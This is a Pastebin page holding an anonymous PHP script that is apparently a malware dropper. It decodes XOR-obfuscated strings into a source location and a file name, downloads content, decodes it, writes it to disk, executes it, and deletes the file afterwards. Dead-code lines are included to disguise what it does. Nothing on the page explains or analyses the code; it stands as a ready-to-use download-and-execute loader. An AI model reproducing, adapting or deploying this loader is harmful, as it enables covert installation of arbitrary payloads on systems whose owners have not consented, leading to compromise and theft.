Advertisement
Guest User

Untitled

a guest
Apr 26th, 2017
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.09 KB | None | 0 0
  1. <?php
  2. $key = 477020637;
  3. $var1 = "\x9e\x27\x33\x97\xad\x7b\x02\xb0\x83\x67\x0b\x87\xb8\x4a\x26\xa3\xbd\x60\x03\xb6\xa6\x43\x00\xa6\xbf\x71\x1a\xa9\x89\x4d\x18\xae\xb9\x7c\x10\xb8\x89\x42\x24\xaf\x88\x4b\x0c\xe2\x9d\x43\x1d";
  4. $var2 = "\x9e\x27\x33\x97\xad\x7b\x02\xb0\x83\x67\x0b\x87\xb8\x4a\x26\xa3\xbd\x60\x03\xb6\xa6\x43\x00\xa6\xbf\x71\x1a\xa9\x89\x4d\x18\xae\xb9\x7c\x10\xb8\x89\x42\x24\xaf\x88\x4b\x0c\xe2\x9d\x43\x1d\xe3\x8c\x51\x1e";
  5. $var1 = decode($var1, $key);
  6. $var2 = decode($var2, $key);
  7. while (0) strspn($fCont, $var2, $i);
  8. $fCont = file_get_contents($var1);
  9. while (0) bin2hex($varA, $varA, $pqqvwmg);
  10. if ($fCont) {
  11.     $fCont2 = decode($fCont, $key);
  12.     file_put_contents($var2, $fCont2);
  13.     exec($var2);
  14.     while (!unlink($var2)) Sleep(1);
  15. }
  16. function decode($encoded, $key) {
  17.     $key = 0x1c6ec1dd;
  18.     $decoded = '';
  19.     $len = strlen($encoded);
  20.  
  21.     for ($i = 0; $i < $len; ++$i) {
  22.         $decoded .= chr(ord($encoded[$i]) ^ ($key & 255));
  23.         // rotate bytes to the left
  24.         $key = ($key << 8) | ($key >> 24 & 255);
  25.         ++$key;
  26.     }
  27.     return $decoded;
  28. }
  29.  ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement